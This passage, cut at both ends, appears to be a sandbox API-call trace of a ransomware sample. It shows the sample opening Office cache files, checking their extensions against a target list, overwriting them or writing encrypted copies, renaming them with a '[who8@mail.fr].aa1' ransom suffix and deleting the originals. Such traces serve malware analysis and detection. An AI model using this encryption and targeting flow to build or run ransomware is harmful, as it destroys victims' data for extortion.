lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0218.510] SetEndOfFile (hFile=0x17c) returned 1 [0218.510] CloseHandle (hObject=0x17c) returned 1 [0218.511] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.511] SetEndOfFile (hFile=0x1f4) returned 1 [0218.511] CloseHandle (hObject=0x1f4) returned 1 [0218.511] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0218.512] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0218.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.512] lstrlenW (lpString=".doc") returned 4 [0218.512] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0218.512] lstrlenW (lpString=".docx") returned 5 [0218.512] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0218.512] lstrlenW (lpString=".pdf") returned 4 [0218.512] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0218.512] lstrlenW (lpString=".xls") returned 4 [0218.512] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0218.512] lstrlenW (lpString=".xlsx") returned 5 [0218.512] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0218.512] lstrlenW (lpString=".ppt") returned 4 [0218.512] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0218.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString=".zip") returned 4 [0218.513] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0218.513] lstrlenW (lpString=".rar") returned 4 [0218.513] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0218.513] lstrlenW (lpString=".bz2") returned 4 [0218.513] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0218.513] lstrlenW (lpString=".7z") returned 3 [0218.513] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString=".dbf") returned 4 [0218.513] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString=".1cd") returned 4 [0218.513] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString=".jpg") returned 4 [0218.513] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.513] lstrlenW (lpString=".doc") returned 4 [0218.513] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0218.513] lstrlenW (lpString=".docx") returned 5 [0218.513] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0218.513] lstrlenW (lpString=".pdf") returned 4 [0218.513] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0218.513] lstrlenW (lpString=".xls") returned 4 [0218.513] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0218.513] lstrlenW (lpString=".xlsx") returned 5 [0218.513] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0218.513] lstrlenW (lpString=".ppt") returned 4 [0218.513] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0218.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.514] lstrlenW (lpString=".zip") returned 4 [0218.514] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0218.514] lstrlenW (lpString=".rar") returned 4 [0218.514] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0218.514] lstrlenW (lpString=".bz2") returned 4 [0218.514] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0218.514] lstrlenW (lpString=".7z") returned 3 [0218.514] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0218.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.514] lstrlenW (lpString=".dbf") returned 4 [0218.514] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0218.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.514] lstrlenW (lpString=".1cd") returned 4 [0218.514] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0218.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0218.514] lstrlenW (lpString=".jpg") returned 4 [0218.514] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0218.514] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0218.514] lstrlenW (lpString="AccessMUI.msi") returned 13 [0218.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.574] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2517504) returned 1 [0218.574] CloseHandle (hObject=0x1fc) returned 1 [0218.575] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0218.575] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.575] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0218.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.575] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0218.576] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.576] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.796] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.426] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.537] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.537] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0220.557] SetEndOfFile (hFile=0x1fc) returned 1 [0220.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0220.798] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0220.798] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.801] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0220.801] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.816] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0220.816] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0220.820] CloseHandle (hObject=0x1fc) returned 1 [0220.820] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0220.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.820] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.820] lstrlenW (lpString=".doc") returned 4 [0220.820] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0220.820] lstrlenW (lpString=".docx") returned 5 [0220.820] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0220.821] lstrlenW (lpString=".pdf") returned 4 [0220.821] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0220.821] lstrlenW (lpString=".xls") returned 4 [0220.821] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0220.821] lstrlenW (lpString=".xlsx") returned 5 [0220.821] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0220.821] lstrlenW (lpString=".ppt") returned 4 [0220.821] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0220.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.821] lstrlenW (lpString=".zip") returned 4 [0220.821] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0220.821] lstrlenW (lpString=".rar") returned 4 [0220.821] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0220.821] lstrlenW (lpString=".bz2") returned 4 [0220.821] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0220.821] lstrlenW (lpString=".7z") returned 3 [0220.821] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0220.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.821] lstrlenW (lpString=".dbf") returned 4 [0220.821] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0220.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.821] lstrlenW (lpString=".1cd") returned 4 [0220.821] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0220.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.821] lstrlenW (lpString=".jpg") returned 4 [0220.821] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0220.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.822] lstrlenW (lpString=".doc") returned 4 [0220.822] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0220.822] lstrlenW (lpString=".docx") returned 5 [0220.822] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0220.822] lstrlenW (lpString=".pdf") returned 4 [0220.822] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0220.822] lstrlenW (lpString=".xls") returned 4 [0220.822] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0220.822] lstrlenW (lpString=".xlsx") returned 5 [0220.822] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0220.822] lstrlenW (lpString=".ppt") returned 4 [0220.822] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0220.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.822] lstrlenW (lpString=".zip") returned 4 [0220.822] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0220.822] lstrlenW (lpString=".rar") returned 4 [0220.822] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0220.822] lstrlenW (lpString=".bz2") returned 4 [0220.822] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0220.822] lstrlenW (lpString=".7z") returned 3 [0220.822] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0220.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.822] lstrlenW (lpString=".dbf") returned 4 [0220.822] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0220.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.822] lstrlenW (lpString=".1cd") returned 4 [0220.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0220.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0220.823] lstrlenW (lpString=".jpg") returned 4 [0220.823] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0220.823] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0220.823] lstrlenW (lpString="ose.exe") returned 7 [0220.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0220.824] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=174440) returned 1 [0220.824] CloseHandle (hObject=0x1fc) returned 1 [0220.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0220.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0220.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0220.824] GetLastError () returned 0x0 [0220.825] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0220.882] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0220.886] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.886] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0220.886] SetEndOfFile (hFile=0x1b0) returned 1 [0220.887] CloseHandle (hObject=0x1b0) returned 1 [0220.887] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.887] SetEndOfFile (hFile=0x1fc) returned 1 [0220.889] CloseHandle (hObject=0x1fc) returned 1 [0220.889] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0220.889] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0220.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.889] lstrlenW (lpString=".doc") returned 4 [0220.889] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0220.889] lstrlenW (lpString=".docx") returned 5 [0220.889] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0220.890] lstrlenW (lpString=".pdf") returned 4 [0220.890] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString=".xls") returned 4 [0220.890] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString=".xlsx") returned 5 [0220.890] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0220.890] lstrlenW (lpString=".ppt") returned 4 [0220.890] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString=".zip") returned 4 [0220.890] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString=".rar") returned 4 [0220.890] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString=".bz2") returned 4 [0220.890] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0220.890] lstrlenW (lpString=".7z") returned 3 [0220.890] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString=".dbf") returned 4 [0220.890] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString=".1cd") returned 4 [0220.890] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString=".jpg") returned 4 [0220.890] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.890] lstrlenW (lpString=".doc") returned 4 [0220.890] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0220.891] lstrlenW (lpString=".docx") returned 5 [0220.891] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0220.891] lstrlenW (lpString=".pdf") returned 4 [0220.891] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0220.891] lstrlenW (lpString=".xls") returned 4 [0220.891] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0220.891] lstrlenW (lpString=".xlsx") returned 5 [0220.891] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0220.891] lstrlenW (lpString=".ppt") returned 4 [0220.891] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0220.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.891] lstrlenW (lpString=".zip") returned 4 [0220.891] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0220.891] lstrlenW (lpString=".rar") returned 4 [0220.891] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0220.891] lstrlenW (lpString=".bz2") returned 4 [0220.891] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0220.891] lstrlenW (lpString=".7z") returned 3 [0220.891] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0220.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.891] lstrlenW (lpString=".dbf") returned 4 [0220.891] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0220.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.891] lstrlenW (lpString=".1cd") returned 4 [0220.891] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0220.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0220.891] lstrlenW (lpString=".jpg") returned 4 [0220.891] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0220.892] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0220.892] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0220.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0220.892] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=36233052) returned 1 [0220.892] CloseHandle (hObject=0x1fc) returned 1 [0220.892] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0220.892] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: 